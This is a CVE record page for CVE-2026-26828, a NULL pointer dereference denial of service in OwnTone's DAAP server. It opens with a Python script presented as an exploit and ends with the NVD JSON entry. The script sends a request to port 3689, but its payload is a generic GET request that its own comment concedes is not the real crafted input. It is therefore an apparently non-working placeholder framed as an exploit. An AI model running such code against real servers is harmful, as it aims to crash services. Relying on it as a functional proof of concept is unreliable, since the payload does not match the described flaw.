CVE-2026-26828

import socket # Target configuration HOST = 'target_ip' # Replace with the actual target IP PORT = 3689 # Default DAAP port for OwnTone def send_exploit(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # Crafted malicious DAAP request payload to trigger NULL pointer dereference # Note: The specific payload structure depends on the crash analysis of commit 3d1652d payload = b"GET /database?output=xml HTTP/1.1\r\nHost: " + HOST.encode() + b"\r\n\r\n" # Send the payload s.send(payload) print("[+] Payload sent successfully.") # Receive response (or lack thereof, indicating crash) response = s.recv(1024) print("[+] Server response:", response) except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-26828", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:47.863", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the daap_reply_playlists function (src/httpd_daap.c) of owntone-server commit 3d1652d allows attackers to cause a Denial of Service (DoS) via sending a crafted DAAP request to the server"}, {"lang": "es", "value": "Una desreferencia de puntero NULL en la función daap_reply_playlists (src/httpd_daap.c) de owntone-server commit 3d1652d permite a los atacantes causar una Denegación de Servicio (DoS) mediante el envío de una solicitud DAAP manipulada al servidor."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://github.com/archersec/security-advisories/blob/master/owntone-server/owntone-server-advisory-2026.md", "source": "[email protected]"}, {"url": "https://github.com/owntone/owntone-server/commit/9ac54f0b42491c4862791db4c5368ff80c4000d3", "source": "[email protected]"}, {"url": "https://github.com/owntone/owntone-server/issues/1961", "source": "[email protected]"}]}}